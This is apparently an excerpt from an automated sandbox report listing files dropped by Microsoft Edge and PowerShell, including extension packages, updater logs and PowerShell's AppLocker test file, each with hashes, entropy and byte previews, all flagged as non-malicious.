                                                                                                                                                                          File Type:JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):206855
                                                                                                                                                                          Entropy (8bit):7.983996634657522
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
                                                                                                                                                                          MD5:788DF0376CE061534448AA17288FEA95
                                                                                                                                                                          SHA1:C3B9285574587B3D1950EE4A8D64145E93842AEB
                                                                                                                                                                          SHA-256:B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
                                                                                                                                                                          SHA-512:3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:......Exif..II*.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..*B.P..*(.................*.....................( ..................*.. .".... .".......(.. .".....*.. ....o......E.6... ..*..."........."J......Ah......@.@@....:@{6..wCp..3...((.(......................*...@..(...."....................*......*.. ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Google Chrome extension, version 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):154477
                                                                                                                                                                          Entropy (8bit):7.835886983924039
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
                                                                                                                                                                          MD5:14937B985303ECCE4196154A24FC369A
                                                                                                                                                                          SHA1:ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
                                                                                                                                                                          SHA-256:71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
                                                                                                                                                                          SHA-512:1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:Cr24..............0.."0...*.H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.q*Ba/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.|.X.M..u..s[.*..?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.*1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Google Chrome extension, version 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):11185
                                                                                                                                                                          Entropy (8bit):7.951995436832936
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
                                                                                                                                                                          MD5:78E47DDA17341BED7BE45DCCFD89AC87
                                                                                                                                                                          SHA1:1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
                                                                                                                                                                          SHA-256:67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
                                                                                                                                                                          SHA-512:9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:Cr24..............0.."0...*.H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0...*.H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):76326
                                                                                                                                                                          Entropy (8bit):7.9961120748813075
                                                                                                                                                                          Encrypted:true
                                                                                                                                                                          SSDEEP:1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
                                                                                                                                                                          MD5:01E352D35675990A139199DD86B38AAC
                                                                                                                                                                          SHA1:E16163C81E5F36B3B819AA0A63BFA63D88548A91
                                                                                                                                                                          SHA-256:148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
                                                                                                                                                                          SHA-512:75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:...........m{..(.}...7.\...N.D*.w..m..q....%XfL.*I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'.*.."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g.*.^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:very short file (no magic)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:L:L
                                                                                                                                                                          MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                                                                                                                          SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                                                                                                                          SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                                                                                                                          SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:very short file (no magic)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:L:L
                                                                                                                                                                          MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                                                                                                                          SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                                                                                                                          SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                                                                                                                          SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1420
                                                                                                                                                                          Entropy (8bit):5.3963140291323075
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YDG5LwRD0s/Up5fP1x5fn7Zu0QRWE5fR+nh0Qut5fxjK0Uw5Pnu0U+qp5M:YDG5LOD0s8p5nX5/o0KWE5JC0Nt5pO0J
                                                                                                                                                                          MD5:37D430C8D726E114BB9689AADE4C80CF
                                                                                                                                                                          SHA1:811E0EA8D3B507DD37C3BFBFFE8DD39B627466E0
                                                                                                                                                                          SHA-256:374429F9AA2AF16C27FC6814C4668F9769374B4C9C83E57C8C4CF29AE0216D4B
                                                                                                                                                                          SHA-512:4B797841319AAAEAAC50E08ED074C96E62746E2B876C47F72CE01DAEAD923A8DE6631489BEA514551DE733948273AAFF0BC88965E089FD2D881A8795CB83690E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"logTime": "1005/085948", "correlationVector":"8sNXFnC9i2+S99lAzDH6Rq","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/085948", "correlationVector":"81A02D7FC86E45EDA6CBCA8671A98AFF","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/085948", "correlationVector":"NiTqUUpDli2IJjzrRApLSF","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091044", "correlationVector":"4hXMqVe30Bl32fn1+6AOy1","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091053", "correlationVector":"D7BB119EE9F4429BBF8B8E46242DB5E9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091235", "correlationVector":"Wk5x1on3JpNq4FXPG6U9B5","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091235", "correlationVector":"EC448E7330FA4F5EA1E7898FDD3F2CB6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091436", "correlationVector":"Ltc1GKjZ6R4P7ed5oiO6YB","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091437", "correlationVector":"A569DB44
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Google Chrome extension, version 3
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):11185
                                                                                                                                                                          Entropy (8bit):7.951995436832936
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
                                                                                                                                                                          MD5:78E47DDA17341BED7BE45DCCFD89AC87
                                                                                                                                                                          SHA1:1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
                                                                                                                                                                          SHA-256:67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
                                                                                                                                                                          SHA-512:9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:Cr24..............0.."0...*.H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0...*.H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1753
                                                                                                                                                                          Entropy (8bit):5.8889033066924155
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
                                                                                                                                                                          MD5:738E757B92939B24CDBBD0EFC2601315
                                                                                                                                                                          SHA1:77058CBAFA625AAFBEA867052136C11AD3332143
                                                                                                                                                                          SHA-256:D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
                                                                                                                                                                          SHA-512:DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):9815
                                                                                                                                                                          Entropy (8bit):6.1716321262973315
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
                                                                                                                                                                          MD5:3D20584F7F6C8EAC79E17CCA4207FB79
                                                                                                                                                                          SHA1:3C16DCC27AE52431C8CDD92FBAAB0341524D3092
                                                                                                                                                                          SHA-256:0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
                                                                                                                                                                          SHA-512:315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
                                                                                                                                                                          Malicious:false
